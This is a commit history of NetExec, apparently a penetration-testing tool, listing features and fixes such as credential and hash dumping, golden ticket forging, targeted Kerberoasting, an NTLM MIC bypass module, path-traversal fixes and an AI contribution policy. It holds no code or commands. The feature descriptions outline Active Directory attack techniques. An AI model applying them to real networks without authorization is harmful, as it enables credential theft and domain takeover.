Marshall Hallenbeck b77744feb6 Merge pull request #1126 from Pennyw0rth/copilot/add-permissions-block-to-workflow
Add top-level permissions block to pr-template-check workflow
2026-02-27 10:01:57 -05:00
copilot-swe-agent[bot]andMarshall-Hallenbeck 32e87c807e Add top-level permissions block with pull-requests: write to pr-template-check.yml
Co-authored-by: Marshall-Hallenbeck <[email protected]>
2026-02-27 14:38:24 +00:00
copilot-swe-agent[bot] 4208a94ea9 Initial plan 2026-02-27 14:37:48 +00:00
Neoreo d818235795 Enhancement : Compute gMSA aesKeys automatically when using --gmsa 2026-02-27 12:20:37 +01:00
PatchRequest 156eaf637a fix(backup_operator): add random suffix to dump filenames to avoid ERROR_ALREADY_EXISTS 2026-02-27 08:22:00 +01:00
0x0Trace 80d481882c Merge branch 'main' into feature/adcs-collection 2026-02-23 22:00:25 +02:00
Marshall Hallenbeck c7dc286ba6 Merge pull request #1122 from Pennyw0rth/marshall_smb_snipped_vuln_fix
fix(snipped): properly parse and set output file for saved screenshots
2026-02-23 09:48:47 -05:00
Marshall Hallenbeck 4f6685038a fix(snipped): properly parse and set output file for saved screenshots 2026-02-22 20:45:00 -05:00
Marshall Hallenbeck 7345af476b Merge pull request #1109 from Pennyw0rth/add-ai-policy
Add AI policy
2026-02-22 12:14:33 -05:00
Marshall Hallenbeck 8742b61da8 Merge branch 'main' into add-ai-policy 2026-02-22 08:16:51 -05:00
Marshall Hallenbeck 7d027f2774 Merge pull request #1121 from Pennyw0rth/marshall_smb_spider_vuln_fix
Fix for arbitrary file write via smb_spider module
2026-02-21 18:12:14 -05:00
Marshall Hallenbeck 0e0cbe0640 fix(spider_plus): properly clean path traversal parts from output filepath; fixes #1120 2026-02-21 16:58:36 -05:00
Marshall Hallenbeck 7845386783 docs: better wording regarding low quality AI tooling 2026-02-21 16:08:23 -05:00
Marshall Hallenbeck 5a2a73cb3a docs: format link to ghostty's pr better 2026-02-21 16:07:38 -05:00
Alexander Neff a3ac65ae13 Formatting 2026-02-21 18:05:53 +07:00
Alexander Neff dc620ebcaa Typo 2026-02-21 18:05:13 +07:00
Marshall Hallenbeck f363124ed5 Merge pull request #1105 from Pennyw0rth/marshall_pr_template_check
Add issue template config and PR template check workflow
2026-02-19 16:10:33 -05:00
mverschuandCursor f8b44d21b3 Fix DPAPI credential lookup: add lowercase username for dploot compatibility
dploot looks up credentials with user.lower() (e.g. 'administrator'), but we
only stored them under context.username (e.g. 'Administrator'). Python dict
lookups are case-sensitive, so the credential wasn't found and master keys
were never decrypted.

Co-authored-by: Cursor <[email protected]>
2026-02-18 19:59:57 +01:00
Marshall Hallenbeck b7137aec54 removed per PR discussion
Signed-off-by: Marshall Hallenbeck <[email protected]>
2026-02-18 13:50:08 -05:00
Marshall Hallenbeck e9f366ff01 docs: update PR template
Update the pull request template to clarify AI usage and some additional helpful asks

Signed-off-by: Marshall Hallenbeck <[email protected]>
2026-02-18 11:57:44 -05:00
Marshall Hallenbeck 7c7a6254a8 docs(AI Policy): updates the AI policy to reflect NetExec's maintainers thoughts on AI and how the project will respond to AI generated code 2026-02-18 11:21:23 -05:00
Marshall Hallenbeck d11d196dc9 docs: fix ghostty PR reference 2026-02-18 10:51:53 -05:00
Alexander Neff ddc98f1cee Add policy source 2026-02-17 23:39:37 +07:00
Coontzy1 d06d179d14 SAM History Dumping
smb: update proto args

tests: add --sam --history example
2026-02-16 21:44:04 -05:00
Alexander Neff 564dfec4d0 Add AI policy reminder to PR template 2026-02-17 00:01:09 +07:00
Alexander Neff a6763d7e9b Focus on issues and use 'we' instead of 'I' 2026-02-16 23:45:30 +07:00
Alexander Neff 8f54821dd6 Replace 'ghostty' with 'NetExec' 2026-02-16 23:40:31 +07:00
Alexander Neff 2097f37749 Add original ghostty AI policy 2026-02-16 23:39:40 +07:00
0x0Trace 9af3e37d71 PR changes 16_02_26_comments_newline_fixes 2026-02-16 09:48:09 -05:00
0x0Trace 8424b49e80 PR changes 16_02_26 2026-02-16 07:21:22 -05:00
0x0Trace b20a7c1644 PR changes 13_02_26 2026-02-13 01:53:12 -05:00
Alexander Neff 6adb4c4788 Emphasize that required settings to test the PR are included in the setup guide 2026-02-12 15:52:02 +07:00
Alexander Neff d0bbf40f4c Update checklist section 2026-02-12 15:47:54 +07:00
0x0Trace bda56dd968 Merge branch 'main' into feature/adcs-collection 2026-02-11 18:13:57 +02:00
Marshall Hallenbeck 1106f8edaa Add issue template config and PR template check workflow
Disable blank issues and add contact links for the wiki and Discord.
Add a GitHub Actions workflow that comments on PRs missing template sections.
2026-02-10 22:07:20 -05:00
Alex fbcda8b356 Merge pull request #1103 from 0xdf223/nfs_read_bug 2026-02-11 07:51:37 +05:30
oxdf d49307052c Fix NFS get_file and put_file auth using wrong handle during path traversal
get_file() and put_file() called update_auth(mount_fh) in their traversal
loops, always setting credentials based on the root/mount handle (uid=0).
With root_squash, this gets squashed to nobody, causing lookups to fail on
non-world-traversable directories. Changed to update_auth(curr_fh) to match
the correct behavior already used in ls().
2026-02-10 09:38:27 -05:00
Arnaud Rebillout 933b97193e Switch to terminaltables3
From terminaltables3 README:

> [terminaltables3] is a fork of the terminaltables project. Which is
> archived and unmaintained. This library is in a new namespace but should
> otherwise be a drop in replacement. Maintaining goals consist of
> maintaining ecosystem compatibility, type annotations and responding to
> community pull requests.

Debian has removed the old terminaltables projects and only provides
terminaltables3 now (in next release Debian 14 forky, which is currently
Debian testing). Other distros will probably do the same, or have done
it already.
2026-02-10 20:07:32 +07:00
0x0Trace a9efad3187 Merge branch 'main' into feature/adcs-collection 2026-02-09 15:44:27 +02:00
azoxlpf e1a6f1525e show auth credentials in kerberos_login connection error logs 2026-02-09 09:36:20 +01:00
Azox 1f640e7c80 Merge branch 'main' into feat/u2u-support 2026-02-08 23:52:15 +01:00
azoxlpf a7ebd5cf35 restore OSError logging with secret in kerberos_login 2026-02-08 23:23:33 +01:00
azoxlpf e1dfde2a35 fix AttributeError on NetBIOSTimeout in kerberos_login 2026-02-08 23:13:51 +01:00
mpgn 07447a040b Merge pull request #1097 from Pennyw0rth/mpgn-patch-1
Refactor is_host_dc call based on file generation flags
2026-02-08 19:45:04 +01:00
mpgn b7fa2dbea6 Fix comparison from '==' to 'is None' for clarity
Signed-off-by: mpgn <[email protected]>
2026-02-08 10:53:11 +01:00
mpgn fddc0c4c6c Update isdc initialization and checks
Change isdc initialization from False to None and update related checks.

Signed-off-by: mpgn <[email protected]>
2026-02-08 10:51:33 +01:00
mpgn f51459ddbd Refactor is_host_dc calls based on NTLM check
Signed-off-by: mpgn <[email protected]>
2026-02-07 23:32:43 +01:00
0x0Trace 54ab075420 Merge branch 'main' into feature/adcs-collection 2026-02-07 11:19:30 +02:00
azoxlpf 4db5e3fc01 add raise when no TGT found in ccache with --use-kcache 2026-02-06 22:45:41 +01:00
azoxlpf 28343fe03e refactor : switch from ldap3 to impacket CRUD and add LDAPS 2026-02-06 21:48:35 +01:00
mpgn e2dad24e92 Merge branch 'main' into feat/u2u-support 2026-02-06 20:37:26 +01:00
mpgn 581b9c6bbb Merge pull request #1066 from Mauriceter/rdp-nego
Minor RDP enhancement
2026-02-06 20:21:50 +01:00
mpgn 417db64045 Merge branch 'main' into rdp-nego 2026-02-06 20:13:52 +01:00
mpgn df26b69f6d Refactor is_host_dc call based on file generation flags
Conditionally call is_host_dc based on arguments for generating files.

Signed-off-by: mpgn <[email protected]>
2026-02-06 19:43:18 +01:00
Aurélien CHALOT d4dd0961f5 Remove function 2026-02-06 10:45:08 +01:00
azoxlpf e1860e3da4 ruff fix 2026-02-05 19:10:08 +01:00
azoxlpf 3d9d231225 refactor: use impacket CRUD, remove ldap3 for targetedkerberoast 2026-02-05 19:08:32 +01:00
azoxlpf 7df50ab683 Update to support NT/AES/KCACHE 2026-02-05 17:07:19 +01:00
azoxlpf c0ee685769 Add targeted Kerberoasting by injecting/removing temporary SPNs 2026-02-05 17:03:33 +01:00
azoxlpf bbcd292759 use kdcHost only for dc_ip 2026-02-05 16:41:47 +01:00
Alex e872b83f15 Merge pull request #1094 from Adamkadaban/wmi-exec-character-handling 2026-02-05 18:49:32 +05:30
azoxlpf e3b97c6edf fix : support NTLM hash and AES key auth 2026-02-04 19:39:41 +01:00
Adam Hassan 8074d7652a properly handle shell metacharacters in command output for wmi 2026-02-03 10:39:56 -08:00
0x0Trace 2129198056 Merge branch 'main' into feature/adcs-collection 2026-01-31 12:03:38 +02:00
Alex 434ed7328b Merge pull request #1090 from Barneee/fix/ldap-attribute-userpassword 2026-01-29 15:28:49 +05:30
Dennis Barnekow eb91b75a59 Fix inconsistent LDAP attribute name in module get-userPassword.py
Align output with queried LDAP attribute (userPassword)


Signed-off-by: Dennis Barnekow <[email protected]>
2026-01-29 10:32:42 +01:00
polair 8e7bc4ecd9 Delete nxc/modules/ntlm_mic_bypass.py
Signed-off-by: polair <[email protected]>
2026-01-28 19:57:46 +01:00
polair f340ab8ff4 Merge: NTLM reflection CVE handling
Signed-off-by: polair <[email protected]>
2026-01-28 19:56:42 +01:00
polair fa3ebc1f3c Update ntlm_mic_bypass.py
Signed-off-by: polair <[email protected]>
2026-01-27 18:47:04 +01:00
polair ec250afa1e Update ntlm_mic_bypass.py
Signed-off-by: polair <[email protected]>
2026-01-27 18:45:58 +01:00
polair aed1cb3e5c Add files via upload
add SMB module NTLM MIC bypass

Signed-off-by: polair <[email protected]>
2026-01-27 18:33:41 +01:00
0x0Trace 12c1745a70 Merge branch 'main' into feature/adcs-collection 2026-01-26 16:07:49 +02:00
0x0TraceandClaude Opus 4.5 25f567a097 feat(ldap): make CertiHound a required dependency
Move CertiHound from optional to default dependencies and remove
conditional import handling since it will always be installed.

Co-Authored-By: Claude Opus 4.5 <[email protected]>
2026-01-26 09:03:48 -05:00
GHWX8660 6bd2de8242 Fix incorrect exception handling 2026-01-24 02:01:22 +01:00
azoxlpf 9e3f4a1919 add --u2u flag for S4U2Self+U2U authentication 2026-01-21 17:38:05 +01:00
Mauriceter edd3085846 remove loop over rdp proto in nla check
Signed-off-by: Mauriceter <[email protected]>
2026-01-19 13:09:14 +01:00
Joachim De Bats e77eb4e3fb loop over proto, remove RDP|SSL from proto 2026-01-12 11:44:44 +01:00
Mauriceter 6bf34c8b92 Merge branch 'Pennyw0rth:main' into rdp-nego 2026-01-12 11:28:09 +01:00
Alex 08b43bf089 Merge pull request #1070 from Signum21/main 2026-01-12 10:04:02 +01:00
Alex 8aa9d6f97b Merge pull request #1069 from strikoder/main 2026-01-12 09:50:23 +01:00
Signum21 6c063ce491 Add database fix commands for Windows
Signed-off-by: Signum21 <[email protected]>
2026-01-11 06:11:17 +01:00
Amin 3f59b017b6 Update --ls help text to clarify hidden files are displayed 2026-01-10 19:35:09 +01:00
Amin dec2156ba5 Fix: FTP --ls now displays hidden files 2026-01-10 10:52:48 +01:00
0x0Trace 8c8f4300ae Merge branch 'main' into feature/adcs-collection 2026-01-08 11:51:40 +02:00
Mauriceter 2ec020ada1 protoflags_nla missing for nla_screen()
Signed-off-by: Mauriceter <[email protected]>
2026-01-08 10:38:16 +01:00
Joachim De Bats 596bbe3d27 cleanup 2026-01-08 09:37:20 +01:00
Joachim De Bats 5f05c1d5d0 only nego when cheking nla 2026-01-07 20:51:20 +01:00
Alex b1e9d633b8 Merge pull request #1053 from XiaoliChan/list-snapshot
[ShadowCopy] Add `list-snapshots` function for SMB & WMI
2026-01-05 00:52:55 +01:00
Alexander Neff 1d672fe7dc Typos 2026-01-04 18:48:36 -05:00
Alexander Neff 0e0efd8a7a Remove unused imports 2026-01-04 18:21:22 -05:00
Alexander Neff 6f73cdc556 Formatting 2026-01-04 17:43:52 -05:00
Alexander Neff 2ac20c4fd3 Fix enum_dns wmi query 2026-01-04 17:38:11 -05:00
Alex 182c89851d Merge pull request #1057 from Pennyw0rth/neff-fix-nfs-ls
Fix ls arg in nfs
2026-01-01 15:05:40 +01:00
Alexander Neff 440ecb5b34 Handle lookup failures 2026-01-01 08:57:32 -05:00
Alexander Neff d86df0e739 Update auth values for every sub dir 2026-01-01 08:57:23 -05:00
XiaoliChan 82f89676f5 [WMIExec] Bug fix
Signed-off-by: XiaoliChan <[email protected]>
2026-01-01 21:37:52 +08:00
XiaoliChan 60b2bbcc31 Merge branch 'main' into list-snapshot 2026-01-01 01:50:16 +08:00
Alex a3d4216300 Merge pull request #1055 from termanix/terman-fix
Fix Not Listing All User on Groups
2025-12-31 18:42:16 +01:00
Alex 3fd564ba33 Merge pull request #1056 from Pennyw0rth/neff-fix-pre2k-change-pw
Allow changing password for locked pre2k accounts
2025-12-31 18:30:18 +01:00
Alexander Neff dd6c51b4d3 Allow changing password for locked pre2k accounts 2025-12-31 12:05:22 -05:00
Alexander Neff 03d42f20ed Fix display name for groups 2025-12-31 11:39:19 -05:00
Alexander Neff 3e3c19f28d Formatting 2025-12-31 10:55:56 -05:00
Alexander Neff e4b9dc7e84 Remove wrong comment 2025-12-31 10:50:27 -05:00
Alexander Neff 3908554688 Formatting 2025-12-31 10:49:12 -05:00
Alexander Neff 5cd36496f3 Add primaryGroupId search to admin check 2025-12-31 10:48:42 -05:00
Alexander Neff 50ce1129e6 Remove duplicate size limit 2025-12-31 10:26:04 -05:00
Alexander Neff 76fedd68ee Simplify logic 2025-12-31 10:23:38 -05:00
termanix 08f35a4bc5 removed filter type 2025-12-31 17:02:03 +02:00
termanix 7dfe103636 Fixed if returns another group and removed nesting. It checks for groupDN and PrimaryGroupID 2025-12-31 16:59:41 +02:00
termanix af3d62f4e2 ruff fix 2025-12-31 13:56:44 +02:00
termanix 461b1ed3f4 Fixed groups self.args 2025-12-31 13:41:42 +02:00
0x0Trace 9f27582b42 feat(ldap): add ADCS collection support via CertiHound
Add Active Directory Certificate Services (ADCS) enumeration to the
BloodHound collection workflow using CertiHound library.

Changes:
- Add 'adcs' to valid collection methods in resolve_collection_methods()
- Add CertiHound as optional dependency (pip install netexec[adcs])
- Implement _collect_adcs_for_bloodhound() for ADCS data collection
- Update bloodhound() to handle ADCS-only and combined collections
- Export ADCS data in BloodHound CE v6 format
2025-12-31 03:45:49 -05:00
XiaoliChan 35118c49e6 [WMI Query]: Rename function from 'wmi' to 'wmi_query'
Signed-off-by: XiaoliChan <[email protected]>
2025-12-30 20:21:49 +08:00
XiaoliChan 0b56dde6c6 [SMB] WMI Quqery: Bug fix of while condition
Signed-off-by: XiaoliChan <[email protected]>
2025-12-30 20:01:21 +08:00
XiaoliChan 28e5fa9eba [List Snapshots] Show shadowcopy InstallDate in WMI Query
Signed-off-by: XiaoliChan <[email protected]>
2025-12-30 18:39:02 +08:00
XiaoliChan 6f421d977f [List Snapshots] Add e2e command
Signed-off-by: XiaoliChan <[email protected]>
2025-12-30 18:25:24 +08:00
XiaoliChan 20e5fb1783 [WMI Query] Align with wmi.py and update func name in modules
Signed-off-by: XiaoliChan <[email protected]>
2025-12-30 18:19:55 +08:00
XiaoliChan a88a6801bd [ShadowCopy] Follow coding style
Signed-off-by: XiaoliChan <[email protected]>
2025-12-30 17:44:34 +08:00
XiaoliChan 14bac800c1 [ShadowCopy] Add list-snapshots function for SMB & WMI
Signed-off-by: XiaoliChan <[email protected]>
2025-12-30 17:31:38 +08:00
Alex 6ae1f0b93a Merge pull request #1051 from Pennyw0rth/neff-binaries
Rename windows binary
2025-12-26 16:35:43 +01:00
Alexander Neff a718893930 Rename windows binary 2025-12-26 10:29:06 -05:00
Alex fbabaa73dc Merge pull request #1050 from Pennyw0rth/fix-binaries
Fix binaries
2025-12-26 15:59:14 +01:00
Alexander Neff 613659d605 Fix hidden imports for binary 2025-12-26 09:45:25 -05:00
Alexander Neff d541425628 Fix e2e tests 2025-12-26 09:45:10 -05:00
Alexander Neff e2bd8b3f66 Fix vnc module 2025-12-26 09:44:30 -05:00
Alex f1877176a5 Merge pull request #1048 from Pennyw0rth/v1.5.0-release
Release version 1.5.0 - Yippie-Ki-Yay
2025-12-24 17:33:14 +01:00
Alexander Neff 86444ab7f2 Release version 1.5.0 - Yippie-Ki-Yay 2025-12-24 07:45:30 -05:00
Aurélien CHALOT d9610f1247 Simplified again 2025-12-24 13:37:03 +01:00
Aurélien CHALOT 5761da9332 Simplified logic 2025-12-24 13:26:48 +01:00
Aurélien CHALOT 21c0af3f95 Update e2e 2025-12-24 11:15:22 +01:00
Aurélien CHALOT 44ddcdc551 Add mssql_cbt checker module 2025-12-24 11:11:24 +01:00
Alex 7c0892236d Merge pull request #1039 from Dfte/rdp_hosts
NXCDB RDP hosts
2025-12-23 01:13:37 +01:00
Alexander Neff c95b1a7165 Formatting 2025-12-22 19:10:51 -05:00
Alex 3209fafea6 Merge pull request #1046 from Pennyw0rth/neff-patch-1
Small logging adjustment
2025-12-22 23:39:30 +01:00
Alexander Neff 3cdc389fc3 Make logging consistent 2025-12-22 17:34:35 -05:00
Alex ddeadf3b3a Merge pull request #1038 from MaxToffy/dns-nonsecure
New module `dns-nonsecure`
2025-12-22 18:12:17 +01:00
Alexander Neff fc9aaceabe Use ldap attribute parsing and clean up code 2025-12-21 18:14:19 -05:00
Alexander Neff 4c0c19dee5 Don't decode dNSProperty ldap attribute and query root DN 2025-12-21 18:14:00 -05:00
Wyndoo beedfe0a97 Create get-scriptpath.py
Signed-off-by: Wyndoo <[email protected]>
2025-12-16 20:19:43 +01:00
Wyndoo b2827adc71 Updating e2e_commands.txt
Signed-off-by: Wyndoo <[email protected]>
2025-12-16 19:21:34 +01:00
Alex c5e2ad55e0 Merge pull request #1040 from Janrdrz/malwarebytes-indicator
enum_av module: add Malwarebytes EDR Agent indicator
2025-12-12 15:47:21 -05:00
Jan Rodriguez 7ad0224a1c enum_av module: add Malwarebytes EDR Agent indicator 2025-12-12 16:06:37 -04:00
Aurélien CHALOT 203e82f3fd Complete options 2025-12-12 15:51:51 +01:00
Aurélien CHALOT 29e17543bb Add nxcdb hosts [nla] 2025-12-12 15:42:38 +01:00
MaxToffy f78c212f04 Update log message for nonsecure dynamic updates
Signed-off-by: MaxToffy <[email protected]>
2025-12-12 12:13:48 +01:00
MaxToffy 5240a2ae30 New module 'dns-nonsecure' 2025-12-12 12:00:14 +01:00
Alex 69c87d2e7f Merge pull request #1034 from azoxlpf/feat/raisechild-aes
Add AES key support for golden ticket forging
2025-12-06 11:23:23 -05:00
Alexander Neff 2b0273a585 Simplify logic 2025-12-06 11:19:34 -05:00
azoxlpf 43f8c793ad simplify krbtgt key logging with dict lookup 2025-12-06 15:54:13 +01:00
azoxlpf 01e95888d1 move etype option to class variable 2025-12-06 15:48:24 +01:00
Alex 2cbf2448e8 Merge pull request #680 from MickeyDB/main
Added share exclusion functionality
2025-12-06 08:47:35 -05:00
Alexander Neff 471b300145 Strip down logic 2025-12-06 08:42:37 -05:00
Alexander Neff 8af35a01f8 Merge branch 'main' into exclude-shares 2025-12-06 08:35:45 -05:00
Alex 0c0c04d39c Merge pull request #648 from c4pit0ch3f/c4pi/simple_auth_fix
added support for LDAP simple auth
2025-12-06 08:21:25 -05:00
Alexander Neff 9439048b1a Add e2e tests 2025-12-06 08:11:59 -05:00
Alexander Neff ca49b09806 Remove outdated info 2025-12-06 08:08:55 -05:00
Alexander Neff d6a871e012 Remove local-auth concept from LDAP protocol 2025-12-06 08:03:37 -05:00
Alexander Neff 5598fb718e Remove local-auth arg as this does not exist in LDAP 2025-12-06 08:02:20 -05:00
Alexander Neff 46430af861 Disable signing when using simple bind as there is no signing/encryption 2025-12-06 08:01:30 -05:00
Alexander Neff d44b1097b8 Enforce that simple bind is only used with plaintext user:password login 2025-12-06 08:00:15 -05:00
Alexander Neff 147642cb74 Switch to fail message for strongerAuthRequired 2025-12-06 07:31:15 -05:00
Alexander Neff a3a352abb9 Add simple-bind flag and add error messages when signing/sealing is required 2025-12-06 07:29:16 -05:00
Alexander Neff 1509ab0bdb Remove unused smb variables 2025-12-06 07:20:26 -05:00
Alexander Neff 8a7af4b19e Add error message to ldap strongerAuthRequired error 2025-12-06 07:06:45 -05:00
Alexander Neff 712196f480 Merge branch 'main' into ldap-simple-bind 2025-12-06 05:58:26 -05:00
Alex 10127db5ac Merge pull request #939 from Dfte/mssql_cbt_rework
[MSSQL] Add EncryptionReq flag to MSSQL proto
2025-12-05 12:59:52 -05:00
azoxlpf 35e4b021aa Add AES key support for golden ticket forging 2025-12-05 18:39:18 +01:00
Alex 91150d5612 Merge pull request #759 from KriyosArcane/history
Add --history option for NTDS
2025-12-05 10:25:20 -05:00
Alexander Neff af0cf844d6 Move info to debug log 2025-12-05 09:21:08 -05:00
Alexander Neff 66f84dce5a Readd mssql timeout 2025-12-05 09:15:52 -05:00
Alex 61f41990ed Merge pull request #1033 from Pennyw0rth/neff-fix-1032 2025-12-05 08:22:40 -05:00
Alexander Neff ff4dcdadf4 Merge branch 'main' into nfs-db 2025-12-05 08:06:00 -05:00
Alexander Neff a6d95d8bae Fix description 2025-12-05 08:02:21 -05:00
Alexander Neff 09fcb9b0a3 Ensure enough arguments have been supplied to split 2025-12-05 08:02:09 -05:00
Alexander Neff 6fa2b7aace Fix #1032 to not create empty workspace, but return after help display 2025-12-05 08:01:29 -05:00
Alex 59cdb14ace Merge pull request #943 from Mauriceter/vnc-rbf33
BUG Fix: VNC, better handling of RFB 3.3
2025-12-03 09:58:55 -05:00
Alexander Neff c38b5377da Formatting 2025-12-03 09:55:44 -05:00
Mauriceter b9bf1b8102 Merge branch 'Pennyw0rth:main' into vnc-rbf33 2025-12-03 14:14:42 +01:00
Joachim De Bats c4116187b5 removed unsupported flag and checks before plaintext_login 2025-12-03 14:13:39 +01:00
Alex 0437747900 Merge pull request #1028 from Pennyw0rth/neff-fix-582
Insert FQDN instead of NETBIOS name into winrm db
2025-12-03 05:50:58 -05:00
Alexander Neff 1b3584d01f Insert FQDN instead of NETBIOS name into winrm db 2025-12-03 05:18:44 -05:00
Alex 1df94a1319 Merge pull request #1027 from Pennyw0rth/neff-update-impacket
Update impacket
2025-12-03 04:25:39 -05:00
Alexander Neff a455998548 Update impacket 2025-12-03 04:03:51 -05:00
Alex 6120b9302d Merge pull request #1020 from Testeur-2-stylos/enum-av-withsecure 2025-12-02 14:10:37 +01:00
Alex 7834917a40 Merge pull request #1026 from 4zuk4m/main
--no-admin-check flag for smb to disable the "admin check" with SC_MANAGER_ALL_ACCESS which is done by default
2025-12-02 13:51:23 +01:00
Alexander Neff d2659ecd8e Fix help text 2025-12-02 07:35:57 -05:00
Alexander Neff 50007fee59 Add e2e tests 2025-12-02 07:17:31 -05:00
Alexander Neff d8d55186b8 Don't add history hashes to db 2025-12-02 07:15:51 -05:00
Alexander Neff 4f91322692 Improve help text 2025-12-02 07:14:07 -05:00
Alexander Neff 4b68fcdecd Log how many kerb keys were dumped 2025-12-02 07:12:51 -05:00
Alexander Neff f3546d776b Add arg to dump kerberos keys 2025-12-02 07:07:30 -05:00
Alexander Neff 98e1ddf4a1 Enforce that history and enabled arg are mutually exclusive and fix history output 2025-12-02 06:43:51 -05:00
Alexander Neff 5b48857277 Clean up logic 2025-12-02 06:06:56 -05:00
Alexander Neff 7153472967 Remove dummy var 2025-12-02 05:58:16 -05:00
Alexander Neff 985adc1469 Rename function and hash to secrets 2025-12-02 05:57:13 -05:00
Zyp3 a61201c7d8 Change on the no admin check condition in check_if_admin to avoid double negation 2025-12-02 11:47:14 +01:00
Zyp3 2836374053 Change on condition of no admin check (previous code was wrong, i m tired) 2025-12-02 11:01:29 +01:00
Zyp3 6c879039b7 Added a 'no admin check' option for SMB to disable the default admin check via SC_MANAGER_ALL_ACCESS 2025-12-02 10:41:39 +01:00
Alex 7c295611a9 Merge pull request #1025 from azoxlpf/Fix/netbios-resolution-raisechild
Fix NetBIOS resolution in raisechild
2025-12-01 15:52:39 +01:00
Alexander Neff 30e7dec1be Store configuration context when enumerating target 2025-12-01 09:35:53 -05:00
azoxlpf 40323a77f6 add _get_domain_netbios 2025-12-01 14:34:48 +01:00
Alex 5601c95b78 Merge pull request #960 from azoxlpf/fix/mssql-xpcmdshell-permission-check
Fix/mssql xpcmdshell permission check
2025-12-01 12:26:29 +01:00
Alexander Neff 4d2e72c29a Remove dumma var 2025-12-01 06:22:44 -05:00
azoxlpf d5c0b5903d Display SQL error message when xp_cmdshell query fails 2025-12-01 11:57:36 +01:00
azoxlpf d3520c71df prefer IS_SRVROLEMEMBER + fn_my_permissions combo for permission check 2025-12-01 11:04:26 +01:00
azoxlpf a442db74ac ruff fix 2025-12-01 11:04:26 +01:00
azoxlpf ebcb4add65 fix ruff E702 2025-12-01 11:04:26 +01:00
azoxlpf f0fd30f854 add permission check to prevent false success on xp_cmdshell enable 2025-12-01 11:04:26 +01:00
Alex 586733e5e7 Merge pull request #1022 from Pennyw0rth/neff-remove-entra-sync
Remove duplicate module
2025-11-29 15:10:16 +01:00
Alex e5d51003e3 Merge branch 'main' into history 2025-11-29 13:45:47 +01:00
Alexander Neff 0c6b18a06a Remove duplicate module 2025-11-29 07:43:30 -05:00
Testeur-2-stylos 6b9a0fa8a2 enum_av : ruff checked 2025-11-28 10:15:16 +01:00
Testeur-2-stylos 4fa0cb3056 enum_av : modify WithSecure product name 2025-11-28 09:49:01 +01:00
Testeur-2-stylos 80a3c77cef enum_av : add WithSecure detector 2025-11-28 09:30:32 +01:00
Alex 7f588958e3 Merge pull request #768 from tiagomanunes/module-usercredman
Add credential manager dump feature to winrm protocol
2025-11-26 17:12:25 +01:00
Alex 46ba161784 Merge pull request #1017 from lebr0nli/fix-put-file
Fix issues with transferring large or non-UTF-8 data over NFS
2025-11-26 16:17:17 +01:00
Alexander Neff e3c0d9eed1 Update pynfsclient 2025-11-26 10:10:55 -05:00
Alexander Neff 14411310ed Abort upload if exists and voted no 2025-11-26 05:50:18 -05:00
Alexander Neff 3a65ad8228 Enquote paths 2025-11-26 05:49:40 -05:00
Alexander Neff 457f3e608f Update pynfsclient 2025-11-26 05:49:23 -05:00
Alan Li ea18a99810 Transfer data without decoding and use wtpref as the chunk size 2025-11-26 00:51:20 +08:00
Alan Li bd121ea40f Fix incorrect log output 2025-11-25 22:56:43 +08:00
Alex 74a1b39f6e Merge pull request #1014 from Pennyw0rth/neff-fix-s4u2self
Fix bug when using delegation
2025-11-25 14:52:29 +01:00
Alexander Neff 87d290deb6 Return session key to store ST 2025-11-25 08:28:15 -05:00
Alex f3cf3f9934 Merge pull request #1012 from lap1nou/db-mssql
fix: MSSQL db fix
2025-11-23 12:53:06 +01:00
Alexander Neff 7a1bb614e6 Add loggedin and admin relationships to db 2025-11-23 06:48:35 -05:00
lap1nou 64967da0db fix: MSSQL db fix 2025-11-22 22:18:49 +01:00
Alex bdfdcd3031 Merge pull request #1011 from Pennyw0rth/neff-add-priv-check-mssql 2025-11-22 19:13:30 +01:00
Alexander Neff 99ab1acd5a Fix sam/lsa dump if user is not local admin 2025-11-22 08:31:44 -05:00
Alex 8407071696 Merge pull request #1003 from Pennyw0rth/neff-add-mssql-sam-lsa
Add MSSQL LSA and SAM dump
2025-11-21 17:18:34 +01:00
Alex 60d8a71772 Merge pull request #968 from hilarex/patch-1
Update firefox.py for new AES-256-CBC encryption (fix dpapi error)
2025-11-21 17:07:25 +01:00
Alex 9d176da35b Merge pull request #1008 from lap1nou/add-computer-db
feat(db): adding add-computer credential
2025-11-21 17:06:07 +01:00
Alexander Neff 37e5bb4671 Formatting 2025-11-21 11:03:41 -05:00
Alex b49532045c Merge branch 'main' into patch-1 2025-11-21 17:01:40 +01:00
Alexander Neff cf9b89e26c Formatting 2025-11-21 11:01:06 -05:00
Alexander Neff 83bc8bd181 Fix logging in group-mem 2025-11-21 10:50:02 -05:00
Alexander Neff b90be108c4 Remove unused vars 2025-11-21 10:48:29 -05:00
Alexander Neff 068874517f Fix debugging params 2025-11-21 10:47:50 -05:00
Alexander Neff 77b9c2aecd Fix password field 2025-11-21 10:46:05 -05:00
Alexander Neff 4ffc19c3a2 Fix name/accountname vars 2025-11-21 10:45:36 -05:00
Alexander Neff 01ba023b1f Fix deletion of computers via ldap 2025-11-21 10:19:36 -05:00
Alexander Neff b98d07173b Move variables to where they belong to prevent crash on deletion 2025-11-21 10:18:47 -05:00
Alexander Neff 31587e219a Simplify logic 2025-11-21 10:07:37 -05:00
Alexander Neff 4dc1bba7e4 Fix logic issues and formatting 2025-11-21 09:58:28 -05:00
Alexander Neff 7a841f6396 Use fail instead of highlight for failures and formatting 2025-11-21 09:30:24 -05:00
Alexander Neff d536372de7 Make context and connection module variables 2025-11-21 08:43:24 -05:00
Alexander Neff 9627d4ba86 Fix hash usage 2025-11-21 08:41:23 -05:00
Alex 308c44c18e Merge pull request #1010 from Pennyw0rth/neff-fix-deprecation-warning 2025-11-21 13:04:24 +01:00
Alexander Neff e6da5ad54e Mute pypsrp logger 2025-11-21 07:01:56 -05:00
Alexander Neff 6cb3bb6627 Fix import to fix sqlalchemy deprecation warning 2025-11-21 06:53:40 -05:00
Alex ab5989b0f5 Merge pull request #1009 from Janrdrz/kaseya-indicator
enum_av module: add Kaseya EDR Agent indicator
2025-11-21 12:50:18 +01:00
Jan Rodriguez c196a0d2e5 enum_av module: add Kaseya EDR Agent indicator 2025-11-20 16:59:45 -04:00
lap1nou 19886c077a feat(db): adding add-computer credential 2025-11-19 22:01:45 +01:00
Tiago Nunes f5dc6c4b2b Filter out empty credentials, like dploot 2025-11-19 19:31:52 +01:00
Tiago Nunes 9f9fe2f55b Improve logging 2025-11-19 19:28:32 +01:00
tiagomanunes fcf36d7dda Merge branch 'main' into module-usercredman 2025-11-19 18:18:32 +01:00
Alex 0573fac29e Merge pull request #1005 from lap1nou/change-password-db
feat(db): modified the change-password module to modify the password in DB
2025-11-19 11:04:20 +01:00
